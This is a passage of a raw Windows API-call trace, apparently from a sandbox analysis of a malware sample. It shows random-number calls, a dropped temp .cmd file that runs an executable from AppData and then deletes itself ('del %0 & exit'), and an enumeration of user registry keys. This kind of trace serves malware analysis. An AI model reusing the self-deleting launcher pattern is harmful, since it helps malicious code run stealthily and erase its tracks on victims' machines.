pbBuffer=0x18fb80 | out: pbBuffer=0x18fb80) returned 1 [0230.359] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0230.359] CryptAcquireContextW (in: phProv=0x18fb6c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fb6c*=0x526610) returned 1 [0230.360] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18fb80 | out: pbBuffer=0x18fb80) returned 1 [0230.360] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0230.360] CryptAcquireContextW (in: phProv=0x18fb6c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fb6c*=0x526610) returned 1 [0230.361] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18fb80 | out: pbBuffer=0x18fb80) returned 1 [0230.361] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0230.361] CryptAcquireContextW (in: phProv=0x18fb6c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fb6c*=0x526610) returned 1 [0230.362] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18fb80 | out: pbBuffer=0x18fb80) returned 1 [0230.362] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0230.362] CryptAcquireContextW (in: phProv=0x18fb6c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fb6c*=0x526610) returned 1 [0230.363] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18fb80 | out: pbBuffer=0x18fb80) returned 1 [0230.363] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0230.363] CryptAcquireContextW (in: phProv=0x18fb6c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fb6c*=0x526610) returned 1 [0230.364] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18fb80 | out: pbBuffer=0x18fb80) returned 1 [0230.364] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0230.364] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35eae8 [0230.364] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x400) returned 0x21833f8 [0230.364] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x400) returned 0x2183800 [0230.364] GetEnvironmentVariableW (in: lpName="TEMP", lpBuffer=0x21833f8, nSize=0x100 | out: lpBuffer="C:\\Windows\\TEMP") returned 0xf [0230.364] GetShortPathNameW (in: lpszLongPath="C:\\Windows\\TEMP", lpszShortPath=0x2183800, cchBuffer=0x100 | out: lpszShortPath="C:\\Windows\\TEMP") returned 0xf [0230.364] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2183800) returned 1 [0230.364] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x21833f8) returned 1 [0230.364] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35eae8) returned 1 [0230.364] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35eae8 [0230.364] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35eae8) returned 1 [0230.364] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35ea60) returned 1 [0230.365] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35ea60 [0230.365] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\sUujcz.cmd" (normalized: "c:\\windows\\temp\\suujcz.cmd"), fInfoLevelId=0x0, lpFileInformation=0x18fb38 | out: lpFileInformation=0x18fb38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x408ae7, ftCreationTime.dwHighDateTime=0x350000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x35e840, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0xffffff00, nFileSizeLow=0x18fc44)) returned 0 [0230.567] GetLastError () returned 0x2 [0230.567] CreateFileW (lpFileName="C:\\Windows\\TEMP\\sUujcz.cmd" (normalized: "c:\\windows\\temp\\suujcz.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150 [0230.567] SetFileTime (hFile=0x150, lpCreationTime=0x0, lpLastAccessTime=0x18fb7c, lpLastWriteTime=0x18fb7c) returned 1 [0230.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="start /b C:\\Users\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN\\3OCMIQ~1.EXE C:\\Users\\5P5NRG~1\\AppData\\Roaming\\J4OJAT~1\r\ndel %0 & exit", cchWideChar=122, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 122 [0230.567] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35eae8 [0230.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="start /b C:\\Users\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN\\3OCMIQ~1.EXE C:\\Users\\5P5NRG~1\\AppData\\Roaming\\J4OJAT~1\r\ndel %0 & exit", cchWideChar=122, lpMultiByteStr=0x35eae8, cbMultiByte=122, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="start /b C:\\Users\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN\\3OCMIQ~1.EXE C:\\Users\\5P5NRG~1\\AppData\\Roaming\\J4OJAT~1\r\ndel %0 & exit", lpUsedDefaultChar=0x0) returned 122 [0230.567] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35eb70 [0230.568] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35eae8) returned 1 [0230.568] WriteFile (in: hFile=0x150, lpBuffer=0x35eb70*, nNumberOfBytesToWrite=0x7a, lpNumberOfBytesWritten=0x18fba8, lpOverlapped=0x0 | out: lpBuffer=0x35eb70*, lpNumberOfBytesWritten=0x18fba8*=0x7a, lpOverlapped=0x0) returned 1 [0230.568] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35eb70) returned 1 [0230.568] NtClose (Handle=0x150) returned 0x0 [0230.569] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35ea60) returned 1 [0230.569] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35ea60 [0230.569] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x21899a8 [0230.569] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35eb70 [0230.569] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x280) returned 0x21833f8 [0230.569] SHRegDuplicateHKey (hkey=0x80000001) returned 0x80000001 [0230.569] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x0, lpName=0x21833f8, cchName=0x104 | out: lpName="AppEvents") returned 0x0 [0230.569] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35eae8 [0230.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appevents", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0230.569] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189528 [0230.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appevents", cchWideChar=9, lpMultiByteStr=0x2189528, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appevents", lpUsedDefaultChar=0x0) returned 9 [0230.569] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189498 [0230.569] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189528) returned 1 [0230.569] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189498) returned 1 [0230.569] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35eae8) returned 1 [0230.569] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x1, lpName=0x21833f8, cchName=0x104 | out: lpName="Console") returned 0x0 [0230.569] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35eae8 [0230.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="console", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0230.569] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189498 [0230.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="console", cchWideChar=7, lpMultiByteStr=0x2189498, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="console", lpUsedDefaultChar=0x0) returned 7 [0230.569] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189528 [0230.569] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189498) returned 1 [0230.569] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189528) returned 1 [0230.569] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35eae8) returned 1 [0230.569] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x2, lpName=0x21833f8, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0230.569] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35eae8 [0230.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0230.570] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189528 [0230.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x2189528, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control panel", lpUsedDefaultChar=0x0) returned 13 [0230.570] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189498 [0230.570] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189528) returned 1 [0230.570] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189498) returned 1 [0230.570] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35eae8) returned 1 [0230.570] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x3, lpName=0x21833f8, cchName=0x104 | out: lpName="Environment") returned 0x0 [0230.570] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35eae8 [0230.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="environment", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0230.570] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189498 [0230.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="environment", cchWideChar=11, lpMultiByteStr=0x2189498, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="environment", lpUsedDefaultChar=0x0) returned 11 [0230.570] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189528 [0230.570] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189498) returned 1 [0230.570] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189528) returned 1 [0230.570] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35eae8) returned 1 [0230.570] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x4, lpName=0x21833f8, cchName=0x104 | out: lpName="EUDC") returned 0x0 [0230.570] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35eae8 [0230.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eudc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0230.570] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189528 [0230.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eudc", cchWideChar=4, lpMultiByteStr=0x2189528, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eudc", lpUsedDefaultChar=0x0) returned 4 [0230.570] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189498 [0230.570] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189528) returned 1 [0230.570] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189498) returned 1 [0230.570] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35eae8) returned 1 [0230.570] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x5, lpName=0x21833f8, cchName=0x104 | out: lpName="Identities") returned 0x0 [0230.570] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35eae8 [0230.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identities", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0230.570] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189498 [0230.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identities", cchWideChar=10, lpMultiByteStr=0x2189498, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identities", lpUsedDefaultChar=0x0) returned 10 [0230.570] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189528 [0230.570] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189498) returned 1 [0230.570] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189528) returned 1 [0230.571] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35eae8) returned 1 [0230.571] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x6, lpName=0x21833f8, cchName=0x104 | out: lpName="Keyboard Layout") returned 0x0 [0230.571] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35eae8 [0230.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyboard layout", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0230.571] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189528 [0230.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyboard layout", cchWideChar=15, lpMultiByteStr=0x2189528, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="keyboard layout", lpUsedDefaultChar=0x0) returned 15 [0230.571] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189498 [0230.571] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189528) returned 1 [0230.571] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189498) returned 1 [0230.571] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35eae8) returned 1 [0230.571] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x7, lpName=0x21833f8, cchName=0x104 | out: lpName="Network") returned 0x0 [0230.571] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35eae8 [0230.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0230.571] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189498 [0230.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x2189498, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="network", lpUsedDefaultChar=0x0) returned 7 [0230.571] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189528 [0230.571] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189498) returned 1 [0230.571] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189528) returned 1 [0230.571] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35eae8) returned 1 [0230.571] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x8, lpName=0x21833f8, cchName=0x104 | out: lpName="Printers") returned 0x0 [0230.571] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35eae8 [0230.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="printers", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0230.571] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189528 [0230.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="printers", cchWideChar=8, lpMultiByteStr=0x2189528, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="printers", lpUsedDefaultChar=0x0) returned 8 [0230.571] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189498 [0230.571] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189528) returned 1 [0230.571] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189498) returned 1 [0230.571] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35eae8) returned 1 [0230.571] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x9, lpName=0x21833f8, cchName=0x104 | out: lpName="Software") returned 0x0 [0230.571] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35eae8 [0230.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0230.572] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189498 [0230.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x2189498, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0230.572] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189528 [0230.572] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189498) returned 1 [0230.572] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189528) returned 1 [0230.572] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35eae8) returned 1 [0230.572] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb60 | out: phkResult=0x18fb60*=0x154) returned 0x0 [0230.572] RegCloseKey (hKey=0x80000001) returned 0x0 [0230.572] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x21833f8, cchName=0x104 | out: lpName="Adobe") returned 0x0 [0230.572] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35eae8 [0230.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobe", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0230.572] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189528 [0230.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobe", cchWideChar=5, lpMultiByteStr=0x2189528, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobe", lpUsedDefaultChar=0x0) returned 5 [0230.572] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189498 [0230.572] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189528) returned 1 [0230.572] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189498) returned 1 [0230.572] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35eae8) returned 1 [0230.572] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x21833f8, cchName=0x104 | out: lpName="AppDataLow") returned 0x0 [0230.572] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35eae8 [0230.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appdatalow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0230.572] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189498 [0230.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appdatalow", cchWideChar=10, lpMultiByteStr=0x2189498, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appdatalow", lpUsedDefaultChar=0x0) returned 10 [0230.572] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189528 [0230.572] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189498) returned 1 [0230.572] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189528) returned 1 [0230.572] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35eae8) returned 1 [0230.572] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x21833f8, cchName=0x104 | out: lpName="Clients") returned 0x0 [0230.572] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35eae8 [0230.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0230.573] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189528 [0230.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x2189528, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0230.573] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189498 [0230.573] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189528) returned 1 [0230.573] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189498) returned 1 [0230.573] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35eae8) returned 1 [0230.573] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x21833f8, cchName=0x104 | out: lpName="Google") returned 0x0 [0230.573] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35eae8 [0230.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="google", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0230.573] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189498 [0230.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="google", cchWideChar=6, lpMultiByteStr=0x2189498, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="google", lpUsedDefaultChar=0x0) returned 6 [0230.573] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189528 [0230.573] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189498) returned 1 [0230.573] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189528) returned 1 [0230.573] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35eae8) returned 1 [0230.573] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x21833f8, cchName=0x104 | out: lpName="JavaSoft") returned 0x0 [0230.573] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35eae8 [0230.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="javasoft", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0230.573] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189528 [0230.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="javasoft", cchWideChar=8, lpMultiByteStr=0x2189528, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="javasoft", lpUsedDefaultChar=0x0) returned 8 [0230.573] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189498 [0230.573] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189528) returned 1 [0230.573] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189498) returned 1 [0230.573] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35eae8) returned 1 [0230.573] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x21833f8, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0230.573] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35eae8 [0230.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0230.573] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189498 [0230.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x2189498, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0230.573] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189528 [0230.574] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189498) returned 1 [0230.574] RtlFreeHeap 